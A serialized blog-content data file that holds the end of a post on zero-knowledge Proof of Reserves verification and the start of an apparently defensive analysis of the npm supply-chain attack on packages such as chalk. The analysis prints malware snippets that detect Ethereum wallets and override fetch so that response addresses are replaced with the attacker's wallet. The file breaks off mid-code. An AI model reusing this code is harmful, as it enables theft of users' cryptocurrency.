leaves).",{"type":23,"tag":24,"props":98691,"children":98693},{"id":98692},"por-verifier-server",[98694],{"type":29,"value":98695},"PoR Verifier Server",{"type":23,"tag":32,"props":98697,"children":98698},{},[98699,98701,98707],{"type":29,"value":98700},"To automate the verification process, we created a ",{"type":23,"tag":181,"props":98702,"children":98704},{"href":94337,"rel":98703},[185],[98705],{"type":29,"value":98706},"verifier server",{"type":29,"value":98708}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":23,"tag":32,"props":98710,"children":98711},{},[98712],{"type":29,"value":98713},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":23,"tag":32,"props":98715,"children":98716},{},[98717],{"type":23,"tag":93,"props":98718,"children":98720},{"alt":52351,"src":98719},"/posts/por/backpack-por.png",[],{"type":23,"tag":32,"props":98722,"children":98723},{},[98724],{"type":29,"value":98725},"Here is a breakdown of what fields represent and why they are required:",{"type":23,"tag":98,"props":98727,"children":98728},{},[98729,98739,98749,98759,98769,98779],{"type":23,"tag":102,"props":98730,"children":98731},{},[98732,98737],{"type":23,"tag":2302,"props":98733,"children":98734},{},[98735],{"type":29,"value":98736},"Status",{"type":29,"value":98738}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":23,"tag":102,"props":98740,"children":98741},{},[98742,98747],{"type":23,"tag":2302,"props":98743,"children":98744},{},[98745],{"type":29,"value":98746},"Proof Timestamp",{"type":29,"value":98748}," --> when the proof was generated by the exchange.",{"type":23,"tag":102,"props":98750,"children":98751},{},[98752,98757],{"type":23,"tag":2302,"props":98753,"children":98754},{},[98755],{"type":29,"value":98756},"Verify Timestamp",{"type":29,"value":98758}," --> when the proof was verified by the PoR server.",{"type":23,"tag":102,"props":98760,"children":98761},{},[98762,98767],{"type":23,"tag":2302,"props":98763,"children":98764},{},[98765],{"type":29,"value":98766},"Proof File URL",{"type":29,"value":98768}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":23,"tag":102,"props":98770,"children":98771},{},[98772,98777],{"type":23,"tag":2302,"props":98773,"children":98774},{},[98775],{"type":29,"value":98776},"Prover Version",{"type":29,"value":98778}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":23,"tag":102,"props":98780,"children":98781},{},[98782,98787],{"type":23,"tag":2302,"props":98783,"children":98784},{},[98785],{"type":29,"value":98786},"File Hash (SHA256)",{"type":29,"value":98788}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":23,"tag":32,"props":98790,"children":98791},{},[98792],{"type":29,"value":98793},"Also, you can check the exchange's liabilities on the website:",{"type":23,"tag":32,"props":98795,"children":98796},{},[98797],{"type":23,"tag":93,"props":98798,"children":98800},{"alt":52351,"src":98799},"/posts/por/backpack-por-liabilities.png",[],{"type":23,"tag":32,"props":98802,"children":98803},{},[98804,98806,98812,98814,98820],{"type":29,"value":98805},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":23,"tag":181,"props":98807,"children":98810},{"href":98808,"rel":98809},"https://backpack.exchange/reserves",[185],[98811],{"type":29,"value":98808},{"type":29,"value":98813}," and our verifier server for backpack at ",{"type":23,"tag":181,"props":98815,"children":98818},{"href":98816,"rel":98817},"https://backpack-por.osec.io/",[185],[98819],{"type":29,"value":98816},{"type":29,"value":312},{"type":23,"tag":24,"props":98822,"children":98824},{"id":98823},"self-verification",[98825],{"type":29,"value":98826},"Self-verification",{"type":23,"tag":32,"props":98828,"children":98829},{},[98830],{"type":29,"value":98831},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":23,"tag":59,"props":98833,"children":98835},{"id":98834},"how-to-verify-if-i-was-included",[98836],{"type":29,"value":98837},"How to verify if I was included?",{"type":23,"tag":32,"props":98839,"children":98840},{},[98841],{"type":29,"value":98842},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":23,"tag":144,"props":98844,"children":98845},{},[98846,98857,98875],{"type":23,"tag":102,"props":98847,"children":98848},{},[98849,98856],{"type":23,"tag":181,"props":98850,"children":98853},{"href":98851,"rel":98852},"https://github.com/otter-sec/por_v2/releases",[185],[98854],{"type":29,"value":98855},"Download the PoRv2 executable from our github",{"type":29,"value":312},{"type":23,"tag":102,"props":98858,"children":98859},{},[98860,98862,98867,98868,98873],{"type":29,"value":98861},"Download the inclusion and the final proof files from the exchange (",{"type":23,"tag":71,"props":98863,"children":98865},{"className":98864},[],[98866],{"type":29,"value":98551},{"type":29,"value":112},{"type":23,"tag":71,"props":98869,"children":98871},{"className":98870},[],[98872],{"type":29,"value":98526},{"type":29,"value":98874},") and put the files in the same directory as the PoRv2 app.",{"type":23,"tag":102,"props":98876,"children":98877},{},[98878,98880,98886],{"type":29,"value":98879},"Open the terminal and execute this: ",{"type":23,"tag":71,"props":98881,"children":98883},{"className":98882},[],[98884],{"type":29,"value":98885},"./plonky2_por verify-inclusion",{"type":29,"value":312},{"type":23,"tag":32,"props":98888,"children":98889},{},[98890],{"type":29,"value":98891},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":23,"tag":220,"props":98893,"children":98895},{"code":98894},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[98896],{"type":23,"tag":71,"props":98897,"children":98898},{"__ignoreMap":7},[98899],{"type":29,"value":98894},{"type":23,"tag":59,"props":98901,"children":98903},{"id":98902},"how-can-i-verify-the-global-proof",[98904],{"type":29,"value":98905},"How can I verify the global proof?",{"type":23,"tag":32,"props":98907,"children":98908},{},[98909],{"type":29,"value":98910},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":23,"tag":144,"props":98912,"children":98913},{},[98914,98923,98941],{"type":23,"tag":102,"props":98915,"children":98916},{},[98917,98922],{"type":23,"tag":181,"props":98918,"children":98920},{"href":98851,"rel":98919},[185],[98921],{"type":29,"value":98855},{"type":29,"value":312},{"type":23,"tag":102,"props":98924,"children":98925},{},[98926,98928,98933,98934,98939],{"type":29,"value":98927},"Download the ",{"type":23,"tag":71,"props":98929,"children":98931},{"className":98930},[],[98932],{"type":29,"value":98519},{"type":29,"value":2231},{"type":23,"tag":71,"props":98935,"children":98937},{"className":98936},[],[98938],{"type":29,"value":98526},{"type":29,"value":98940}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":23,"tag":102,"props":98942,"children":98943},{},[98944,98946,98951],{"type":29,"value":98945},"Open the terminal and execute ",{"type":23,"tag":71,"props":98947,"children":98949},{"className":98948},[],[98950],{"type":29,"value":98885},{"type":29,"value":98952},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":23,"tag":32,"props":98954,"children":98955},{},[98956],{"type":29,"value":98957},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":23,"tag":220,"props":98959,"children":98961},{"code":98960},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[98962],{"type":23,"tag":71,"props":98963,"children":98964},{"__ignoreMap":7},[98965],{"type":29,"value":98960},{"type":23,"tag":32,"props":98967,"children":98968},{},[98969],{"type":29,"value":98970},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":23,"tag":220,"props":98972,"children":98974},{"code":98973},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[98975],{"type":23,"tag":71,"props":98976,"children":98977},{"__ignoreMap":7},[98978],{"type":29,"value":98973},{"type":23,"tag":24,"props":98980,"children":98981},{"id":5163},[98982],{"type":29,"value":5166},{"type":23,"tag":32,"props":98984,"children":98985},{},[98986],{"type":29,"value":98987},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":23,"tag":32,"props":98989,"children":98990},{},[98991,98993,98999],{"type":29,"value":98992},"We are currently working with Backpack to implement this algorithm ",{"type":23,"tag":181,"props":98994,"children":98996},{"href":98808,"rel":98995},[185],[98997],{"type":29,"value":98998},"in production",{"type":29,"value":99000}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":23,"tag":32,"props":99002,"children":99003},{},[99004,99006,99013],{"type":29,"value":99005},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":23,"tag":181,"props":99007,"children":99010},{"href":99008,"rel":99009},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[185],[99011],{"type":29,"value":99012},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":29,"value":312},{"title":7,"searchDepth":243,"depth":243,"links":99015},[99016,99017,99018,99019,99022,99027,99031,99032,99036],{"id":94265,"depth":243,"text":94268},{"id":94346,"depth":243,"text":94349},{"id":94416,"depth":243,"text":94419},{"id":94470,"depth":243,"text":94473,"children":99020},[99021],{"id":94549,"depth":252,"text":94552},{"id":94637,"depth":243,"text":94640,"children":99023},[99024,99025,99026],{"id":94710,"depth":252,"text":94713},{"id":95182,"depth":252,"text":95185},{"id":96921,"depth":252,"text":96924},{"id":98500,"depth":243,"text":98503,"children":99028},[99029,99030],{"id":11613,"depth":252,"text":98508},{"id":98562,"depth":252,"text":98565},{"id":98692,"depth":243,"text":98695},{"id":98823,"depth":243,"text":98826,"children":99033},[99034,99035],{"id":98834,"depth":252,"text":98837},{"id":98902,"depth":252,"text":98905},{"id":5163,"depth":243,"text":5166},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":99041,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":99042,"description":99043,"date":99044,"author":12,"image":99045,"isFeatured":18,"onBlogPage":18,"tags":99048,"body":99051,"_type":5202,"_id":101477,"_source":5204,"_file":101478,"_stem":101479,"_extension":5207},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":99046,"width":99047,"height":16},"/posts/supply-chain-attcks/title.png",1536,[99049,99050],"npm","supply-chain",{"type":20,"children":99052,"toc":101460},[99053,99066,99071,99076,99082,99087,99095,99425,99433,99996,100004,100711,100717,100722,100728,100733,100738,100744,100749,100761,100766,100792,100879,100891,100916,100932,100937,100942,101148,101190,101195,101207,101213,101225,101267,101280,101360,101372,101385,101392,101403,101411,101417,101430,101435,101439,101444,101456],{"type":23,"tag":32,"props":99054,"children":99055},{},[99056,99058,99064],{"type":29,"value":99057},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":23,"tag":71,"props":99059,"children":99061},{"className":99060},[],[99062],{"type":29,"value":99063},"chalk",{"type":29,"value":99065},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":23,"tag":32,"props":99067,"children":99068},{},[99069],{"type":29,"value":99070},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":23,"tag":32,"props":99072,"children":99073},{},[99074],{"type":29,"value":99075},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":23,"tag":24,"props":99077,"children":99079},{"id":99078},"qix-malware-how-it-worked",[99080],{"type":29,"value":99081},"Qix Malware: How It Worked",{"type":23,"tag":32,"props":99083,"children":99084},{},[99085],{"type":29,"value":99086},"The attacker published modified versions of packages with code designed to do three things:",{"type":23,"tag":144,"props":99088,"children":99089},{},[99090],{"type":23,"tag":102,"props":99091,"children":99092},{},[99093],{"type":29,"value":99094},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":23,"tag":220,"props":99096,"children":99098},{"code":99097,"language":33671,"meta":7,"className":33669,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n",[99099],{"type":23,"tag":71,"props":99100,"children":99101},{"__ignoreMap":7},[99102,99122,99134,99178,99195,99202,99238,99250,99278,99298,99318,99330,99337,99372,99392,99404,99411,99418],{"type":23,"tag":230,"props":99103,"children":99104},{"class":232,"line":233},[99105,99109,99113,99118],{"type":23,"tag":230,"props":99106,"children":99107},{"style":256},[99108],{"type":29,"value":798},{"type":23,"tag":230,"props":99110,"children":99111},{"style":256},[99112],{"type":29,"value":2903},{"type":23,"tag":230,"props":99114,"children":99115},{"style":294},[99116],{"type":29,"value":99117}," checkethereumw",{"type":23,"tag":230,"props":99119,"children":99120},{"style":274},[99121],{"type":29,"value":18061},{"type":23,"tag":230,"props":99123,"children":99124},{"class":232,"line":243},[99125,99130],{"type":23,"tag":230,"props":99126,"children":99127},{"style":866},[99128],{"type":29,"value":99129},"  try",{"type":23,"tag":230,"props":99131,"children":99132},{"style":274},[99133],{"type":29,"value":277},{"type":23,"tag":230,"props":99135,"children":99136},{"class":232,"line":252},[99137,99141,99146,99150,99154,99158,99162,99166,99170,99174],{"type":23,"tag":230,"props":99138,"children":99139},{"style":256},[99140],{"type":29,"value":53441},{"type":23,"tag":230,"props":99142,"children":99143},{"style":262},[99144],{"type":29,"value":99145}," _0x124ed3",{"type":23,"tag":230,"props":99147,"children":99148},{"style":268},[99149],{"type":29,"value":271},{"type":23,"tag":230,"props":99151,"children":99152},{"style":866},[99153],{"type":29,"value":869},{"type":23,"tag":230,"props":99155,"children":99156},{"style":262},[99157],{"type":29,"value":33712},{"type":23,"tag":230,"props":99159,"children":99160},{"style":274},[99161],{"type":29,"value":312},{"type":23,"tag":230,"props":99163,"children":99164},{"style":262},[99165],{"type":29,"value":2873},{"type":23,"tag":230,"props":99167,"children":99168},{"style":274},[99169],{"type":29,"value":312},{"type":23,"tag":230,"props":99171,"children":99172},{"style":294},[99173],{"type":29,"value":3372},{"type":23,"tag":230,"props":99175,"children":99176},{"style":274},[99177],{"type":29,"value":368},{"type":23,"tag":230,"props":99179,"children":99180},{"class":232,"line":280},[99181,99186,99190],{"type":23,"tag":230,"props":99182,"children":99183},{"style":380},[99184],{"type":29,"value":99185},"      'method'",{"type":23,"tag":230,"props":99187,"children":99188},{"style":262},[99189],{"type":29,"value":218},{"type":23,"tag":230,"props":99191,"children":99192},{"style":380},[99193],{"type":29,"value":99194}," \"eth_accounts\"\n",{"type":23,"tag":230,"props":99196,"children":99197},{"class":232,"line":334},[99198],{"type":23,"tag":230,"props":99199,"children":99200},{"style":274},[99201],{"type":29,"value":1291},{"type":23,"tag":230,"props":99203,"children":99204},{"class":232,"line":371},[99205,99209,99213,99218,99222,99226,99230,99234],{"type":23,"tag":230,"props":99206,"children":99207},{"style":866},[99208],{"type":29,"value":1493},{"type":23,"tag":230,"props":99210,"children":99211},{"style":274},[99212],{"type":29,"value":664},{"type":23,"tag":230,"props":99214,"children":99215},{"style":262},[99216],{"type":29,"value":99217},"_0x124ed3",{"type":23,"tag":230,"props":99219,"children":99220},{"style":274},[99221],{"type":29,"value":312},{"type":23,"tag":230,"props":99223,"children":99224},{"style":262},[99225],{"type":29,"value":10839},{"type":23,"tag":230,"props":99227,"children":99228},{"style":268},[99229],{"type":29,"value":16521},{"type":23,"tag":230,"props":99231,"children":99232},{"style":5149},[99233],{"type":29,"value":5386},{"type":23,"tag":230,"props":99235,"children":99236},{"style":274},[99237],{"type":29,"value":827},{"type":23,"tag":230,"props":99239,"children":99240},{"class":232,"line":391},[99241,99246],{"type":23,"tag":230,"props":99242,"children":99243},{"style":294},[99244],{"type":29,"value":99245},"      runmask",{"type":23,"tag":230,"props":99247,"children":99248},{"style":274},[99249],{"type":29,"value":2140},{"type":23,"tag":230,"props":99251,"children":99252},{"class":232,"line":400},[99253,99257,99261,99266,99270,99274],{"type":23,"tag":230,"props":99254,"children":99255},{"style":866},[99256],{"type":29,"value":3992},{"type":23,"tag":230,"props":99258,"children":99259},{"style":274},[99260],{"type":29,"value":664},{"type":23,"tag":230,"props":99262,"children":99263},{"style":262},[99264],{"type":29,"value":99265},"rund",{"type":23,"tag":230,"props":99267,"children":99268},{"style":268},[99269],{"type":29,"value":66162},{"type":23,"tag":230,"props":99271,"children":99272},{"style":5149},[99273],{"type":29,"value":6861},{"type":23,"tag":230,"props":99275,"children":99276},{"style":274},[99277],{"type":29,"value":827},{"type":23,"tag":230,"props":99279,"children":99280},{"class":232,"line":444},[99281,99286,99290,99294],{"type":23,"tag":230,"props":99282,"children":99283},{"style":262},[99284],{"type":29,"value":99285},"        rund",{"type":23,"tag":230,"props":99287,"children":99288},{"style":268},[99289],{"type":29,"value":271},{"type":23,"tag":230,"props":99291,"children":99292},{"style":5149},[99293],{"type":29,"value":6861},{"type":23,"tag":230,"props":99295,"children":99296},{"style":274},[99297],{"type":29,"value":511},{"type":23,"tag":230,"props":99299,"children":99300},{"class":232,"line":453},[99301,99306,99310,99314],{"type":23,"tag":230,"props":99302,"children":99303},{"style":262},[99304],{"type":29,"value":99305},"        neth",{"type":23,"tag":230,"props":99307,"children":99308},{"style":268},[99309],{"type":29,"value":271},{"type":23,"tag":230,"props":99311,"children":99312},{"style":5149},[99313],{"type":29,"value":6861},{"type":23,"tag":230,"props":99315,"children":99316},{"style":274},[99317],{"type":29,"value":511},{"type":23,"tag":230,"props":99319,"children":99320},{"class":232,"line":462},[99321,99326],{"type":23,"tag":230,"props":99322,"children":99323},{"style":294},[99324],{"type":29,"value":99325},"        newdlocal",{"type":23,"tag":230,"props":99327,"children":99328},{"style":274},[99329],{"type":29,"value":2140},{"type":23,"tag":230,"props":99331,"children":99332},{"class":232,"line":471},[99333],{"type":23,"tag":230,"props":99334,"children":99335},{"style":274},[99336],{"type":29,"value":1931},{"type":23,"tag":230,"props":99338,"children":99339},{"class":232,"line":500},[99340,99344,99348,99352,99356,99360,99364,99368],{"type":23,"tag":230,"props":99341,"children":99342},{"style":274},[99343],{"type":29,"value":18103},{"type":23,"tag":230,"props":99345,"children":99346},{"style":866},[99347],{"type":29,"value":5654},{"type":23,"tag":230,"props":99349,"children":99350},{"style":866},[99351],{"type":29,"value":18112},{"type":23,"tag":230,"props":99353,"children":99354},{"style":274},[99355],{"type":29,"value":664},{"type":23,"tag":230,"props":99357,"children":99358},{"style":262},[99359],{"type":29,"value":99265},{"type":23,"tag":230,"props":99361,"children":99362},{"style":268},[99363],{"type":29,"value":66162},{"type":23,"tag":230,"props":99365,"children":99366},{"style":5149},[99367],{"type":29,"value":6861},{"type":23,"tag":230,"props":99369,"children":99370},{"style":274},[99371],{"type":29,"value":827},{"type":23,"tag":230,"props":99373,"children":99374},{"class":232,"line":514},[99375,99380,99384,99388],{"type":23,"tag":230,"props":99376,"children":99377},{"style":262},[99378],{"type":29,"value":99379},"      rund",{"type":23,"tag":230,"props":99381,"children":99382},{"style":268},[99383],{"type":29,"value":271},{"type":23,"tag":230,"props":99385,"children":99386},{"style":5149},[99387],{"type":29,"value":6861},{"type":23,"tag":230,"props":99389,"children":99390},{"style":274},[99391],{"type":29,"value":511},{"type":23,"tag":230,"props":99393,"children":99394},{"class":232,"line":897},[99395,99400],{"type":23,"tag":230,"props":99396,"children":99397},{"style":294},[99398],{"type":29,"value":99399},"      newdlocal",{"type":23,"tag":230,"props":99401,"children":99402},{"style":274},[99403],{"type":29,"value":2140},{"type":23,"tag":230,"props":99405,"children":99406},{"class":232,"line":960},[99407],{"type":23,"tag":230,"props":99408,"children":99409},{"style":274},[99410],{"type":29,"value":1552},{"type":23,"tag":230,"props":99412,"children":99413},{"class":232,"line":969},[99414],{"type":23,"tag":230,"props":99415,"children":99416},{"style":274},[99417],{"type":29,"value":1331},{"type":23,"tag":230,"props":99419,"children":99420},{"class":232,"line":4526},[99421],{"type":23,"tag":230,"props":99422,"children":99423},{"style":274},[99424],{"type":29,"value":975},{"type":23,"tag":144,"props":99426,"children":99427},{"start":243},[99428],{"type":23,"tag":102,"props":99429,"children":99430},{},[99431],{"type":29,"value":99432},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":23,"tag":220,"props":99434,"children":99436},{"code":99435,"language":33671,"meta":7,"className":33669,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[99437],{"type":23,"tag":71,"props":99438,"children":99439},{"__ignoreMap":7},[99440,99475,99532,99594,99609,99646,99685,99700,99739,99746,99779,99795,99854,99892,99917,99942,99966,99974,99989],{"type":23,"tag":230,"props":99441,"children":99442},{"class":232,"line":233},[99443,99447,99451,99455,99459,99463,99467,99471],{"type":23,"tag":230,"props":99444,"children":99445},{"style":294},[99446],{"type":29,"value":36385},{"type":23,"tag":230,"props":99448,"children":99449},{"style":268},[99450],{"type":29,"value":271},{"type":23,"tag":230,"props":99452,"children":99453},{"style":256},[99454],{"type":29,"value":1028},{"type":23,"tag":230,"props":99456,"children":99457},{"style":256},[99458],{"type":29,"value":2903},{"type":23,"tag":230,"props":99460,"children":99461},{"style":274},[99462],{"type":29,"value":664},{"type":23,"tag":230,"props":99464,"children":99465},{"style":268},[99466],{"type":29,"value":11922},{"type":23,"tag":230,"props":99468,"children":99469},{"style":262},[99470],{"type":29,"value":2917},{"type":23,"tag":230,"props":99472,"children":99473},{"style":274},[99474],{"type":29,"value":827},{"type":23,"tag":230,"props":99476,"children":99477},{"class":232,"line":243},[99478,99482,99487,99491,99495,99500,99504,99508,99512,99516,99520,99524,99528],{"type":23,"tag":230,"props":99479,"children":99480},{"style":256},[99481],{"type":29,"value":843},{"type":23,"tag":230,"props":99483,"children":99484},{"style":262},[99485],{"type":29,"value":99486}," originalResponse",{"type":23,"tag":230,"props":99488,"children":99489},{"style":268},[99490],{"type":29,"value":271},{"type":23,"tag":230,"props":99492,"children":99493},{"style":866},[99494],{"type":29,"value":869},{"type":23,"tag":230,"props":99496,"children":99497},{"style":262},[99498],{"type":29,"value":99499}," originalFetch",{"type":23,"tag":230,"props":99501,"children":99502},{"style":274},[99503],{"type":29,"value":312},{"type":23,"tag":230,"props":99505,"children":99506},{"style":294},[99507],{"type":29,"value":2985},{"type":23,"tag":230,"props":99509,"children":99510},{"style":274},[99511],{"type":29,"value":302},{"type":23,"tag":230,"props":99513,"children":99514},{"style":256},[99515],{"type":29,"value":437},{"type":23,"tag":230,"props":99517,"children":99518},{"style":274},[99519],{"type":29,"value":684},{"type":23,"tag":230,"props":99521,"children":99522},{"style":268},[99523],{"type":29,"value":11922},{"type":23,"tag":230,"props":99525,"children":99526},{"style":262},[99527],{"type":29,"value":2917},{"type":23,"tag":230,"props":99529,"children":99530},{"style":274},[99531],{"type":29,"value":753},{"type":23,"tag":230,"props":99533,"children":99534},{"class":232,"line":252},[99535,99539,99544,99548,99552,99556,99561,99565,99569,99573,99578,99582,99586,99590],{"type":23,"tag":230,"props":99536,"children":99537},{"style":256},[99538],{"type":29,"value":843},{"type":23,"tag":230,"props":99540,"children":99541},{"style":262},[99542],{"type":29,"value":99543}," contentType",{"type":23,"tag":230,"props":99545,"children":99546},{"style":268},[99547],{"type":29,"value":271},{"type":23,"tag":230,"props":99549,"children":99550},{"style":262},[99551],{"type":29,"value":99486},{"type":23,"tag":230,"props":99553,"children":99554},{"style":274},[99555],{"type":29,"value":312},{"type":23,"tag":230,"props":99557,"children":99558},{"style":262},[99559],{"type":29,"value":99560},"headers",{"type":23,"tag":230,"props":99562,"children":99563},{"style":274},[99564],{"type":29,"value":312},{"type":23,"tag":230,"props":99566,"children":99567},{"style":294},[99568],{"type":29,"value":18676},{"type":23,"tag":230,"props":99570,"children":99571},{"style":274},[99572],{"type":29,"value":302},{"type":23,"tag":230,"props":99574,"children":99575},{"style":380},[99576],{"type":29,"value":99577},"'Content-Type'",{"type":23,"tag":230,"props":99579,"children":99580},{"style":274},[99581],{"type":29,"value":703},{"type":23,"tag":230,"props":99583,"children":99584},{"style":268},[99585],{"type":29,"value":24733},{"type":23,"tag":230,"props":99587,"children":99588},{"style":380},[99589],{"type":29,"value":34136},{"type":23,"tag":230,"props":99591,"children":99592},{"style":274},[99593],{"type":29,"value":511},{"type":23,"tag":230,"props":99595,"children":99596},{"class":232,"line":280},[99597,99601,99605],{"type":23,"tag":230,"props":99598,"children":99599},{"style":256},[99600],{"type":29,"value":4324},{"type":23,"tag":230,"props":99602,"children":99603},{"style":262},[99604],{"type":29,"value":17430},{"type":23,"tag":230,"props":99606,"children":99607},{"style":274},[99608],{"type":29,"value":511},{"type":23,"tag":230,"props":99610,"children":99611},{"class":232,"line":334},[99612,99616,99620,99625,99629,99633,99637,99642],{"type":23,"tag":230,"props":99613,"children":99614},{"style":866},[99615],{"type":29,"value":33698},{"type":23,"tag":230,"props":99617,"children":99618},{"style":274},[99619],{"type":29,"value":664},{"type":23,"tag":230,"props":99621,"children":99622},{"style":262},[99623],{"type":29,"value":99624},"contentType",{"type":23,"tag":230,"props":99626,"children":99627},{"style":274},[99628],{"type":29,"value":312},{"type":23,"tag":230,"props":99630,"children":99631},{"style":294},[99632],{"type":29,"value":3134},{"type":23,"tag":230,"props":99634,"children":99635},{"style":274},[99636],{"type":29,"value":302},{"type":23,"tag":230,"props":99638,"children":99639},{"style":380},[99640],{"type":29,"value":99641},"'application/json'",{"type":23,"tag":230,"props":99643,"children":99644},{"style":274},[99645],{"type":29,"value":37480},{"type":23,"tag":230,"props":99647,"children":99648},{"class":232,"line":371},[99649,99653,99657,99661,99665,99669,99673,99677,99681],{"type":23,"tag":230,"props":99650,"children":99651},{"style":262},[99652],{"type":29,"value":44999},{"type":23,"tag":230,"props":99654,"children":99655},{"style":268},[99656],{"type":29,"value":271},{"type":23,"tag":230,"props":99658,"children":99659},{"style":866},[99660],{"type":29,"value":869},{"type":23,"tag":230,"props":99662,"children":99663},{"style":262},[99664],{"type":29,"value":99486},{"type":23,"tag":230,"props":99666,"children":99667},{"style":274},[99668],{"type":29,"value":312},{"type":23,"tag":230,"props":99670,"children":99671},{"style":294},[99672],{"type":29,"value":17744},{"type":23,"tag":230,"props":99674,"children":99675},{"style":274},[99676],{"type":29,"value":32475},{"type":23